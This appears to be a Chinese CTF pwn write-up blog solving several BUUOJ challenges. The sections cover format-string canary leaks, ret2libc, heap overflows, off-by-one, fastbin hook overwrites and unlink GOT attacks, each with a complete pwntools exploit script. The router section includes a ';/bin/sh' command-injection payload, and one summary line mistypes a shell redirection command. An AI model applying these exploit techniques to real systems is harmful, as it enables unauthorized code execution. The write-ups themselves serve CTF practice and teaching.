bjdctf-2020-babyrop2 checksec
可以看到有开canary,可能需要绕过
IDA
1 2 3 4 5 6 7 8 9 10 11 12 13 unsigned __int64 gift () { char format[8 ]; unsigned __int64 v2; v2 = __readfsqword(0x28u ); puts ("I'll give u some gift to help u!" ); __isoc99_scanf("%6s" , format); printf (format); puts (byte_400A05); fflush(0LL ); return __readfsqword(0x28u ) ^ v2; }
看到有格式化字符串漏洞,可以利用来泄露canary
1 2 3 4 5 6 7 8 9 10 unsigned __int64 vuln () { char buf[24 ]; unsigned __int64 v2; v2 = __readfsqword(0x28u ); puts ("Pull up your sword and tell me u story!" ); read(0 , buf, 0x64u LL); return __readfsqword(0x28u ) ^ v2; }
存在栈溢出
思路 首先利用格式化字符串来泄露canary,由于是64位,栈上数据是从%6$p起
发现在栈上第二个,也就是%7$p,所以
1 2 3 4 5 6 payload=b'%7$p' r.recvuntil(b'help u!\n' ) r.sendline(payload) r.recvuntil(b'0x' ) canary=int (r.recv(16 ),16 )print ("canary: " ,hex (canary))
1 2 3 4 payload=b'A' *0x18 +p64(canary)+b'A' *0x8 +p64(rdi_addr)+p64(puts_got)+p64(puts_plt) payload+=p64(vuln_addr) r.recvuntil(b'u story!\n' ) r.sendline(payload)
然后公式计算libc基地址,system,/bin/sh地址,再进行一次栈溢出即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import * context(os='linux' , arch='AMD64' , log_level='debug' ) r=remote("node5.buuoj.cn" ,29194 ) elf=ELF('./bbrop2' ) libc=ELF('./libc-2.23_64.so' ) vuln_addr=0x400887 puts_got=elf.got['puts' ] puts_plt=elf.plt['puts' ] ret_addr=0x4005f9 rdi_addr=0x400993 payload=b'%7$p' r.recvuntil(b'help u!\n' ) r.sendline(payload) r.recvuntil(b'0x' ) canary=int (r.recv(16 ),16 )print ("canary: " ,hex (canary)) payload=b'A' *0x18 +p64(canary)+b'A' *0x8 +p64(rdi_addr)+p64(puts_got)+p64(puts_plt) payload+=p64(vuln_addr) r.recvuntil(b'u story!\n' ) r.sendline(payload) puts_addr=u64(r.recv(6 ).ljust(8 ,b'\x00' ))print ("puts_addr=" ,hex (puts_addr)) libcbase=puts_addr-libc.symbols['puts' ] sys_addr=libcbase+libc.symbols['system' ] binsh_addr=libcbase+next (libc.search(b'/bin/sh' )) r.recvuntil(b'u story!\n' ) payload=b'A' *0x18 +p64(canary)+b'A' *0x8 +p64(ret_addr)+p64(rdi_addr)+p64(binsh_addr)+p64(sys_addr) payload+=p64(vuln_addr) r.sendline(payload) r.interactive()
bjdctf_2020_router checksec
IDA
在case: 1时就有了system,主要就是利用这个system
思路 利用case: 1里的函数:
strcat是将字符串拼接到目标字符串后,dest处本来存在’ping’,我们要接一个/bin/sh在后头并且用分号隔开 ,这样才会分别执行两个命令,分别是system(“ping”)和system(“/bin/sh”)
脚本:
1 2 3 4 5 6 7 8 9 from pwn import * r=remote("node5.buuoj.cn" ,28295 ) r.recvuntil("Please input u choose:\n" ) r.sendline("1" ) r.recvuntil("Please input the ip address:\n" ) payload=b';/bin/sh\x00' r.sendline(payload) r.interactive()
babyheap_0ctf_2017 checksec
小贴士 由于这题是在ubuntu的环境下,我们需要把ld替换成ubuntu16的,也就是2.23版本的ld,这里用glibc-all-in-one
更改intepreter为glibc-all-in-one中的
1 patchelf --set-interpreter ~/glibc-all -in-one/libs/2 .23 -0 ubuntu11.3 _amd64/ld-2 .23 .so babyheap
1 patchelf --replace-needed libc.so.6 ./libc-2 .23 .so babyheap
成功的:
IDA
是一个菜单的程序
可以看到内部是有一个结构体的,有三个成员,分别记录是否已分配,大小,地址
可以看到程序并没有对我们输入的填充长度进行检查,所以漏洞在堆溢出
输入index,然后free掉对应的堆块
输出堆块中的内容
思路 由于存在堆溢出,我们分两步来get shell
利用堆溢出泄露unsorted bin链表头->main_arena->malloc_hook->libbase
申请三个堆块,第一个堆块用于修改第二个堆块的内容,第二个堆块用来泄露链表头地址,第三个堆块用来记录链表头地址
1 2 3 alloc(0x10 ) alloc(0x40 ) alloc(0x100 )
接着修改第二个堆块大小到第三个堆块的size下面两个区域,这样第二个堆块大小就到了unsortedbin范围内,但此时第三个堆size域被破坏,需要修一下,也就是将第三个堆块的大小放在对应的位置
1 2 fill(0 ,b'a' *0x10 +p64(0 )+p64(0x71 )) fill(2 ,b'A' *0x10 +p64(0 )+p64(0x71 ))
此时堆结构
接着free(1),再allocate(0x60),将1回来,这一步目的是将1的大小覆盖到2的一部分来泄露链表头地址,但由于这里的allocate执行的是calloc,会将堆数据清零,我们需要在此补充数据0x111来恢复chunk2,接着free(2),再dump(1),就能将fd,bk泄露出来,也就是unsortedbin链表头地址,但由于这里的allocate执行的是calloc,会将堆数据清零,我们需要在此补充数据0x111来恢复chunk2,此时需要额外申请一个chunk隔开top chunk
1 2 3 4 5 6 free(1 ) alloc(0x60 ) fill(1 ,b'A' *0x40 +p64(0 )+p64(0x111 )) alloc(0x100 ) free(2 ) dump(1 )
此时堆内容
然后就是接收地址和一些地址的计算,gadgets我全写出来了,到时候一个个看看哪个可以
1 2 3 4 5 6 7 8 9 10 unsortedbin_addr=u64(r.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) mainarena_addr=unsortedbin_addr-0x58 malloc_hook=mainarena_addr-0x10 libc_base=malloc_hook-libc.symbols["__malloc_hook" ] free_hook=libc_base+libc.symbols['__free_hook' ]print ("unsorted bin addr=" ,hex (unsortedbin_addr))print ("libc_base=" ,hex (libc_base))print ("free_hook=" ,hex (free_hook))print ("malloc_hook_addr=" ,hex (malloc_hook)) exceve_addr=[libc_base+0x45216 ,libc_base+0x4526a ,libc_base+0xf02a4 ,libc_base+0xf1147 ]
最后伪造,将1块free掉,利用0块来修改1块的fd,再分配两次从而分配到malloc_hook-0x23上的堆块,进而修改hook为ogg,然后再分配一次,调用到malloc_hook,就是ogg,从而得到shell
1 2 3 4 5 6 7 8 9 free(1 ) fill(0 ,b'A' *0x10 +p64(0 )+p64(0x71 )+p64(malloc_hook-0x23 )) alloc(0x60 ) alloc(0x60 ) fill(2 ,b'A' *0x13 +p64(libc_base+0x4526a )) alloc(0x10 ) r.interactive()
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import * context(os="linux" ,arch="amd64" ,log_level="debug" ,timeout=10 ) r=remote("node5.buuoj.cn" ,27749 ) libc=ELF('./libc-2.23.so' )def alloc (size ): r.recvuntil(b"Command: " ) r.sendline(b"1" ) r.recvuntil(b"Size: " ) r.sendline(str (size))def fill (index, content ): r.recvuntil(b'Command: ' ) r.sendline(b'2' ) r.recvuntil(b'Index: ' ) r.sendline(str (index)) r.recvuntil(b'Size: ' ) r.sendline(str (len (content))) r.recvuntil(b'Content: ' ) r.sendline(content)def free (index ): r.recvuntil(b"Command: " ) r.sendline(b"3" ) r.recvuntil(b"Index: " ) r.sendline(str (index))def dump (index ): r.recvuntil(b"Command: " ) r.sendline(b"4" ) r.recvuntil(b"Index: " ) r.sendline(str (index)) alloc(0x10 ) alloc(0x40 ) alloc(0x100 ) fill(0 ,b'a' *0x10 +p64(0 )+p64(0x71 )) fill(2 ,b'A' *0x10 +p64(0 )+p64(0x71 )) free(1 ) alloc(0x60 ) fill(1 ,b'A' *0x40 +p64(0 )+p64(0x111 )) alloc(0x100 ) free(2 ) dump(1 ) ll=r.recv(0x50 +10 ) unsortedbin_addr=u64(r.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) mainarena_addr=unsortedbin_addr-0x58 malloc_hook=mainarena_addr-0x10 libc_base=malloc_hook-libc.symbols["__malloc_hook" ] free_hook=libc_base+libc.symbols['__free_hook' ]print ("unsorted bin addr=" ,hex (unsortedbin_addr))print ("libc_base=" ,hex (libc_base))print ("free_hook=" ,hex (free_hook))print ("malloc_hook_addr=" ,hex (malloc_hook)) exceve_addr=[libc_base+0x45216 ,libc_base+0x4526a ,libc_base+0xf02a4 ,libc_base+0xf1147 ] free(1 ) fill(0 ,b'A' *0x10 +p64(0 )+p64(0x71 )+p64(malloc_hook-0x23 )) alloc(0x60 ) alloc(0x60 ) fill(2 ,b'A' *0x13 +p64(libc_base+0x4526a )) alloc(0x10 ) r.interactive()
wustctf2020_closed 从来没见过,所以记录下来
checksec 1 2 3 4 5 6 7 8 yyyffff@yyyffff-virtual-machine:~/桌面$ checksec closed [* ] '/home/yyyffff/桌面/closed' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
IDA 1 2 3 4 5 6 int __cdecl main (int argc, const char **argv, const char **envp) { init(argc, argv, envp); vulnerable(); return 0 ; }
1 2 3 4 5 6 7 int vulnerable () { puts ("HaHaHa!\nWhat else can you do???" ); close(1 ); close(2 ); return shell(); }
1 2 3 4 int shell () { return system("/bin/sh" ); }
分析 问问AI
在 Linux 中,每个进程维护一个文件描述符表 :
FD
含义
默认指向
0
标准输入 stdin
通常是键盘
1
标准输出 stdout
通常是终端
2
标准错误 stderr
通常是终端
这里close(1),close(2)相当于关掉了标准输出和标准错误,实际上直接执行程序就得到了shell,不过由于关掉了输出,我们在屏幕上无法看到输出了啥,比如说输入ls,实际上有效果只不过输出被关闭了我们看不到而已
这里用exec 1>&0来使stdout重新指向
✅ exec 在 shell 中,exec 有两个常见用途:
替换当前进程:
→ 当前 shell 被 /bin/sh 替代
修改当前 shell 的文件描述符 (本题关键):
→ 在当前 shell 进程中修改文件描述符指向,不启动新进程。
✅ 1>&0 是什么格式? 这是 shell 的文件描述符重定向语法 :
具体来说:
1:目标文件描述符,stdout
>:重定向操作
&0:取文件描述符 0(stdin )的底层对象
👉 表示:
把 fd 1(标准输出)重定向为 fd 0(标准输入)所连接的对象 。
📌 图示理解 假设在运行这个命令前,文件描述符状态如下:
文件描述符
指向
0 (stdin)
socket(你的 nc / pwntools 连接)
1 (stdout)
已被关闭(close(1))
运行 exec 1>&0 后变为:
文件描述符
指向
0 (stdin)
socket
1 (stdout)
socket(同 stdin)
于是你输入的命令,如:
最终内部调用:
就把 flag 的内容写到了 socket 上,你能在客户端看到输出。
🔁 为什么是“&0”而不是“0”?
>0 表示重定向到文件 "0"(错误❌)
>&0 表示重定向到文件描述符编号为 0 的打开通道 (正确✅)
你也可以做:
→ 把 stderr(fd 2)也重定向到 stdout(fd 1)。
✅ 总结
语法元素
含义
exec
修改当前 shell 的 FD 表
1
表示标准输出 fd 1
>&0
把它重定向到 fd 0 所指对象
结果
输出通过输入通道走回来(可见性恢复)
总结 直接r.interactive()后输入excv 0>&1即可cat flag
[V&N2020 公开赛]simpleHeap checksec 1 2 3 4 5 6 7 yyyffff@yyyffff-virtual-machine :~/桌面$ checksec simpleheap [*] '/home/yyyffff/桌面/simpleheap' Arch : amd64-64 -little RELRO : Full RELRO Stack : Canary found NX : NX enabled PIE : PIE enabled
IDA main 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 void __noreturn sub_F0A () { sub_A39(); puts ("Welcome to V&N challange!" ); puts ("This's a simple heap for you." ); while ( 1 ) { sub_EB6(); switch ( sub_9EA() ) { case 1 : sub_AFF(); break ; case 2 : sub_CBB(); break ; case 3 : sub_D6F(); break ; case 4 : sub_DF7(); break ; case 5 : exit (0 ); default : puts ("Please input current choice." ); break ; } } }
一道菜单题
1 2 3 4 5 6 7 8 9 int sub_EB6 () { puts ("1.Add" ); puts ("2.Edit" ); puts ("3.Show" ); puts ("4.Delete" ); puts ("5.Exit" ); return printf ("choice: " ); }
add 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int sub_AFF () { int result; int v1; int v2; v1 = sub_AB2(); if ( v1 == -1 ) return puts ("Full" ); printf ("size?" ); result = sub_9EA(); v2 = result; if ( result > 0 && result <= 111 ) { qword_2020A0[v1] = malloc (result); if ( !qword_2020A0[v1] ) { puts ("Something Wrong!" ); exit (-1 ); } dword_202060[v1] = v2; printf ("content:" ); read(0 , (void *)qword_2020A0[v1], dword_202060[v1]); return puts ("Done!" ); } return result; }
可以看到 qword_2020A0 存储的是堆块指针,doword_202060 存储的是大小
if 语句限制了堆块大小要<111,所以无法直接 malloc unsortedbin 范围内堆块
edit 1 2 3 4 5 6 7 8 9 10 11 12 int sub_CBB () { unsigned int v1; printf ("idx?" ); v1 = sub_9EA(); if ( v1 > 9 || !qword_2020A0[v1] ) exit (0 ); printf ("content:" ); sub_C39(qword_2020A0[v1], dword_202060[v1]); return puts ("Done!" ); }
sub_C39是自己写的输入函数
sub_C39(自定义的输入函数) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 unsigned __int64 __fastcall sub_C39 (__int64 a1, int a2) { unsigned __int64 result; unsigned int i; for ( i = 0 ; ; ++i ) { result = i; if ( (int )i > a2 ) break ; if ( !read(0 , (void *)((int )i + a1), 1uLL ) ) exit (0 ); if ( *(_BYTE *)((int )i + a1) == 10 ) { result = (int )i + a1; *(_BYTE *)result = 0 ; return result; } } return result; }
可以看到循环时从 0 到 a2 ,多循环了一次,有 off-by-one 漏洞,可以修改下个堆块的 size
view 1 2 3 4 5 6 7 8 9 10 11 int sub_D6F () { signed int v1; printf("idx?" ); v1 = sub_9EA(); if ( (unsigned int )v1 > 9 || !*((_QWORD *)&qword_2020A0 + v1) ) exit(0 ); puts(*((const char **)&qword_2020A0 + v1)); return puts("Done!" ); }
查看堆块内容
free 1 2 3 4 5 6 7 8 9 10 11 12 13 int sub_DF7 () { unsigned int v1; printf ("idx?" ); v1 = sub_9EA(); if ( v1 > 9 || !qword_2020A0[v1] ) exit (0 ); free ((void *)qword_2020A0[v1]); qword_2020A0[v1] = 0LL ; dword_202060[v1] = 0 ; return puts ("Done!" ); }
释放后全置0了,貌似不存在啥漏洞
思路
首先创 4 个堆块,利用第一个堆块修改第二个堆块的 size (修改为实际上 1 2 块加起来的大小(0x70+0x70))使其释放后进入 unsortedbin,然后释放 1 块,这样就让 1 进入unsortedbin 然后再申请 0x60 的块,剩下的堆块就会与 2 块重叠,这样 2 块的 fd bk 就是 &unsortedbin ,而后 view(2) 即可得到 libcbase
1 2 3 4 5 6 7 8 9 10 11 12 13 add(0x18 ,b'aaaa' ) add(0x60 ,b'aaaa' ) add(0x60 ,b'aaaa' ) add(0x60 ,b'aaaa' ) edit(0 ,b'\x00' *0x18 +b'\xe1' ) delete(1 ) add(0x60 ,b'aaaa' ) view(2 ) unsortedbin=u64(r.recv(6 ).ljust(8 ,b'\x00' )) libcbase=unsortedbin-88 -0x3c4b20 malloc_hook=libcbase+libc.sym['__malloc_hook' ] realloc_addr=libcbase+libc.sym['realloc' ]print ("__malloc_hook->" ,hex (malloc_hook))
然后再次申请 0x60 的块得到 4 块,此时 4 块 2 块是同一块地址,我们可以释放 4 块,再利用 2 块修改 fd 为 __malloc_hook-0x23 ,再申请两次,就可以得到 __malloc_hook-0x23 处堆块,然后利用 realloc 调整栈帧打 one_gadget 即可
1 2 3 4 5 6 7 8 9 add(0x60 ,b'aaaa' ) delete(4 ) edit(2 ,p64(malloc_hook-0x23 )) add(0x60 ,b'aaaa' ) ogg=[0x45216 ,0x4526a ,0xf02a4 ,0xf1147 ] add(0x60 ,b'a' *0xb +p64(libcbase+ogg[1 ])+p64(realloc_addr+12 )) r.interactive()
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from pwn import * context(arch='amd64' ,os='linux' ,log_level='debug' ) elf=ELF('./simpleheap' ) libc=ELF('./libc-2.23.so' ) r=remote("node5.buuoj.cn" ,29253 )def add (size,content ): r.recvuntil("choice: " ) r.sendline("1" ) r.recvuntil("size?" ) r.sendline(str (size)) r.recvuntil("content:" ) r.sendline(content)def edit (idx,content ): r.recvuntil("choice: " ) r.sendline("2" ) r.recvuntil("idx?" ) r.sendline(str (idx)) r.recvuntil("content:" ) r.sendline(content)def view (idx ): r.recvuntil("choice: " ) r.sendline("3" ) r.recvuntil("idx?" ) r.sendline(str (idx))def delete (idx ): r.recvuntil("choice: " ) r.sendline("4" ) r.recvuntil("idx?" ) r.sendline(str (idx)) add(0x18 ,b'aaaa' ) add(0x60 ,b'aaaa' ) add(0x60 ,b'aaaa' ) add(0x60 ,b'aaaa' ) edit(0 ,b'\x00' *0x18 +b'\xe1' ) delete(1 ) add(0x60 ,b'aaaa' ) view(2 ) unsortedbin=u64(r.recv(6 ).ljust(8 ,b'\x00' )) libcbase=unsortedbin-88 -0x3c4b20 malloc_hook=libcbase+libc.sym['__malloc_hook' ] realloc_addr=libcbase+libc.sym['realloc' ]print ("__malloc_hook->" ,hex (malloc_hook)) add(0x60 ,b'aaaa' ) delete(4 ) edit(2 ,p64(malloc_hook-0x23 )) add(0x60 ,b'aaaa' ) ogg=[0x45216 ,0x4526a ,0xf02a4 ,0xf1147 ] add(0x60 ,b'a' *0xb +p64(libcbase+ogg[1 ])+p64(realloc_addr+12 )) r.interactive()
hitcontraining_heapcreator checksec 1 2 3 4 5 6 7 8 yyyffff@yyyffff-virtual-machine :~/桌面$ checksec heapcreator [*] '/home/yyyffff/桌面/heapcreator' Arch : amd64-64 -little RELRO : Partial RELRO Stack : Canary found NX : NX enabled PIE : No PIE (0 x3ff000) Stripped : No
got 表可写,不过我没用 got 表就是了,但是写 free 的 got 表也是一种方法
IDA main 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[8 ]; unsigned __int64 v5; v5 = __readfsqword(0x28u ); setvbuf(_bss_start, 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 2 , 0LL ); while ( 1 ) { menu(); read(0 , buf, 4uLL ); switch ( atoi(buf) ) { case 1 : create_heap(); break ; case 2 : edit_heap(); break ; case 3 : show_heap(); break ; case 4 : delete_heap(); break ; case 5 : exit (0 ); default : puts ("Invalid Choice" ); break ; } } }
create 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 unsigned __int64 create_heap () { __int64 v0; int i; size_t size; char buf[8 ]; unsigned __int64 v5; v5 = __readfsqword(0x28u ); for ( i = 0 ; i <= 9 ; ++i ) { if ( !*(&heaparray + i) ) { *(&heaparray + i) = malloc (0x10u LL); if ( !*(&heaparray + i) ) { puts ("Allocate Error" ); exit (1 ); } printf ("Size of Heap : " ); read(0 , buf, 8uLL ); size = atoi(buf); v0 = (__int64)*(&heaparray + i); *(_QWORD *)(v0 + 8 ) = malloc (size); if ( !*((_QWORD *)*(&heaparray + i) + 1 ) ) { puts ("Allocate Error" ); exit (2 ); } *(_QWORD *)*(&heaparray + i) = size; printf ("Content of heap:" ); read_input(*((void **)*(&heaparray + i) + 1 ), size); puts ("SuccessFul" ); return __readfsqword(0x28u ) ^ v5; } } return __readfsqword(0x28u ) ^ v5; }
heaparray 一个在 bss 段上的地址,负责记录管理堆块的指针
在分配堆块的时候首先会 malloc(0x10) 前 8 字节记录要分配的 size,后 8 字节记录即将要分配的堆的指针,然后将这个 0x10 大小的堆块记录到 heaparray 上
并且分配堆块的时候没有清空堆块,我们就可以直接分配一个 unsortedbin 范围内的然后释放掉再分配回来就可以得到 libcbase 了
edit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 unsigned __int64 edit_heap () { int v1; char buf[8 ]; unsigned __int64 v3; v3 = __readfsqword(0x28u ); printf ("Index :" ); read(0 , buf, 4uLL ); v1 = atoi(buf); if ( (unsigned int )v1 >= 0xA ) { puts ("Out of bound!" ); _exit(0 ); } if ( *(&heaparray + v1) ) { printf ("Content of heap : " ); read_input(*((void **)*(&heaparray + v1) + 1 ), *(_QWORD *)*(&heaparray + v1) + 1LL ); puts ("Done !" ); } else { puts ("No such heap !" ); } return __readfsqword(0x28u ) ^ v3; }
是根据那个 0x10 块中存的指针来修改的,如果说我们可以控制那个指针,就可以在任意位置进行 edit
而且在 19 行输入的时候,长度多写了 1,造成了 off-by-one
show 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 unsigned __int64 show_heap () { int v1; char buf[8 ]; unsigned __int64 v3; v3 = __readfsqword(0x28u ); printf ("Index :" ); read(0 , buf, 4uLL ); v1 = atoi(buf); if ( (unsigned int )v1 >= 0xA ) { puts ("Out of bound!" ); _exit(0 ); } if ( *(&heaparray + v1) ) { printf ("Size : %ld\nContent : %s\n" , *(_QWORD *)*(&heaparray + v1), *((const char **)*(&heaparray + v1) + 1 )); puts ("Done !" ); } else { puts ("No such heap !" ); } return __readfsqword(0x28u ) ^ v3; }
delete 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 unsigned __int64 delete_heap () { int v1; char buf[8 ]; unsigned __int64 v3; v3 = __readfsqword(0x28u ); printf ("Index :" ); read(0 , buf, 4uLL ); v1 = atoi(buf); if ( (unsigned int )v1 >= 0xA ) { puts ("Out of bound!" ); _exit(0 ); } if ( *(&heaparray + v1) ) { free (*((void **)*(&heaparray + v1) + 1 )); free (*(&heaparray + v1)); *(&heaparray + v1) = 0LL ; puts ("Done !" ); } else { puts ("No such heap !" ); } return __readfsqword(0x28u ) ^ v3; }
先 delete 我们存储内容的堆块而后 delete 存储信息的堆
思路 大体上是控制堆块信息里的指针为 free_hook 而后改成 system,写个 /bin/sh 的堆释放掉即可
首先需要分配三个堆块,释放掉中间那个拿到 libcbase
1 2 3 4 5 6 7 8 9 10 11 12 13 add(0x18 ,b'aaaa' ) add(0x80 ,b'aaaa' ) add(0x10 ,b'aaaa' ) delete(1 ) add(0x80 ,b'aaaaaaab' ) view(1 ) r.recvuntil("aaab" ) unsortedbin=u64(r.recv(6 ).ljust(8 ,b'\x00' )) libcbase=unsortedbin-88 -0x3c4b20 system_addr=libcbase+libc.sym['system' ] free_hook=libcbase+libc.sym['__free_hook' ]print ("free_hook->" ,hex (free_hook))
然后利用 0 块修改 1 块的堆信息块的 size 为 0xd1,然后释放掉 1 块,这样 unsortedbin 内就会 0xd0->0x90->unsortedbin<-0xd1。然后我请求 0x90 大小的块,其中 0x10 的块会在 0x90 中分配,然后 0x90 变为 0x70,不满足接下去要分配的 0x90,所以 0x90 会在 0xd0 中分配,最后将 0x70 的块放入了 smallbins 中,这样就会造成管理堆块信息的块在可写入的块的上方,我们就可以写到 0x10 的块中,就可以写入那个指针,最后将那个指针改为 free_hook,这样下一次修改 1 块修改的就是 free_hook了
1 2 3 4 5 6 7 8 9 10 11 edit(0 ,b'A' *0x18 +b'\xd1' ) delete(1 ) add(0x90 ,b'abcyyy' ) pause() edit(1 ,p64(0 )*3 +p64(0x21 )+p64(0x90 )+p64(free_hook)) edit(1 ,p64(system_addr)) edit(2 ,b'/bin/sh\x00' ) delete(2 ) r.interactive()
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import * context(arch='amd64' ,os='linux' ,log_level='debug' ) elf=ELF('./heapcreator' ) libc=ELF('./libc-2.23.so' ) r=process('./heapcreator' )def add (size,content ): r.sendlineafter("Your choice :" ,"1" ) r.sendlineafter("Size of Heap : " ,str (size)) r.sendafter("Content of heap:" ,content)def edit (idx,content ): r.sendlineafter("Your choice :" ,"2" ) r.sendlineafter("Index :" ,str (idx)) r.sendafter("Content of heap : " ,content)def delete (idx ): r.sendlineafter("Your choice :" ,"4" ) r.sendlineafter("Index :" ,str (idx))def view (idx ): r.sendlineafter("Your choice :" ,"3" ) r.sendlineafter("Index :" ,str (idx)) add(0x18 ,b'aaaa' ) add(0x80 ,b'aaaa' ) add(0x10 ,b'aaaa' ) delete(1 ) add(0x80 ,b'aaaaaaab' ) view(1 ) r.recvuntil("aaab" ) unsortedbin=u64(r.recv(6 ).ljust(8 ,b'\x00' )) libcbase=unsortedbin-88 -0x3c4b20 system_addr=libcbase+libc.sym['system' ] free_hook=libcbase+libc.sym['__free_hook' ]print ("free_hook->" ,hex (free_hook)) edit(0 ,b'A' *0x18 +b'\xd1' ) delete(1 ) add(0x90 ,b'abcyyy' ) pause() edit(1 ,p64(0 )*3 +p64(0x21 )+p64(0x90 )+p64(free_hook)) edit(1 ,p64(system_addr)) edit(2 ,b'/bin/sh\x00' ) delete(2 ) r.interactive()
hitcon2014_stkof checksec 1 2 3 4 5 6 [* ] '/home/yyyffff/桌面/stkof' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3ff000)
可以修改 got 表
IDA main 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 __int64 __fastcall main (int a1, char **a2, char **a3) { int v3; int v5; char nptr[104 ]; unsigned __int64 v7; v7 = __readfsqword(0x28u ); while ( fgets(nptr, 10 , stdin ) ) { v3 = atoi(nptr); if ( v3 == 2 ) { v5 = edit(); goto LABEL_14; } if ( v3 > 2 ) { if ( v3 == 3 ) { v5 = delete(); goto LABEL_14; } if ( v3 == 4 ) { v5 = sub_400BA9(); goto LABEL_14; } } else if ( v3 == 1 ) { v5 = add(); goto LABEL_14; } v5 = -1 ; LABEL_14: if ( v5 ) puts ("FAIL" ); else puts ("OK" ); fflush(stdout ); } return 0LL ; }
同样一道菜单题
add 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 __int64 add () { __int64 size; char *v2; char s[104 ]; unsigned __int64 v4; v4 = __readfsqword(0x28u ); fgets(s, 16 , stdin ); size = atoll(s); v2 = (char *)malloc (size); if ( !v2 ) return 0xFFFFFFFFL L; (&::s)[++dword_602100] = v2; printf ("%d\n" , (unsigned int )dword_602100); return 0LL ; }
增加堆块的函数,dwoord_602100 是计数的,而全局变量 s 是记录堆块地址的( 0x602140 )
edit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 __int64 edit () { int i; unsigned int v2; __int64 n; char *ptr; char s[104 ]; unsigned __int64 v6; v6 = __readfsqword(0x28u ); fgets(s, 16 , stdin ); v2 = atol(s); if ( v2 > 0x100000 ) return 0xFFFFFFFFL L; if ( !(&::s)[v2] ) return 0xFFFFFFFFL L; fgets(s, 16 , stdin ); n = atoll(s); ptr = (&::s)[v2]; for ( i = fread(ptr, 1uLL , n, stdin ); i > 0 ; i = fread(ptr, 1uLL , n, stdin ) ) { ptr += i; n -= i; } if ( n ) return 0xFFFFFFFFL L; else return 0LL ; }
对于输入的长度没有检查,可以随便修改下个堆块信息
delete 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 __int64 delete () { unsigned int v1; char s[104 ]; unsigned __int64 v3; v3 = __readfsqword(0x28u ); fgets(s, 16 , stdin ); v1 = atol(s); if ( v1 > 0x100000 ) return 0xFFFFFFFFL L; if ( !(&::s)[v1] ) return 0xFFFFFFFFL L; free ((&::s)[v1]); (&::s)[v1] = 0LL ; return 0LL ; }
free 后清零
分析 由于没有类似 view 的函数,我们无法直接输出一个已知的地址,那么 libcbase 就无法得到
但是 got 表是可以写的,我们可以将 free_got 写成 puts_plt,而后执行 free 就可以输出,然后将 free_got 写成 system,delete 掉一个内容为 /bin/sh 的堆块即可得到 flag
至于如何写 free_got,这里用到 unlink
由于第一个堆块创建完不知道为啥会自己创建一个 0x410 的堆块,所以我们不用 1 块
首先创造 4 个块,在 2 块里伪造堆块
其中 size 为 1 块大小-0x10
取 aim=0x602100+0x10,也就是 2 块指针
fd 为 aim-0x18 bk为 aim-0x10,这样是可以通过 unlink 检查的,至于为什么可以看 unlink 源码然后画个表格就可以了
将 3 块的 pre_size 写为 chunk1-0x10,chunk3size 去掉末尾 1 写为 0
1 2 3 4 5 6 7 8 9 add(0x10 ) add(0x80 ) add(0x80 ) add(0x10 ) bss=0x602140 chunk2_ptr=bss+0x10 fd=chunk2_ptr-0x18 bk=chunk2_ptr-0x10 edit(2 ,p64(0 )+p64(0x80 )+p64(fd)+p64(bk)+p64(0 )*0xc +p64(0x80 )+p64(0x90 ))
效果如下
然后 delete(3) 即可 unlink 这个伪造的 chunk ,具体效果就是往 chunk2 指针上写入 aim-0x18 (unlink 效果的最后一句),然后我们就可以通过这个指针往 0x602140 写入东西
效果
然后我们往 chunk1 指针写入 free_got,往 chunk2 指针写入 puts_got,然后我们 edit(1),写入 puts_plt 接着 delete(2) 就可以将 puts_addr 打印出来,然后计算 libcbase,最后往 free_got 写入 system,然后将 chunk4 写入 /bin/sh\x00,最后 delete(4) 即可
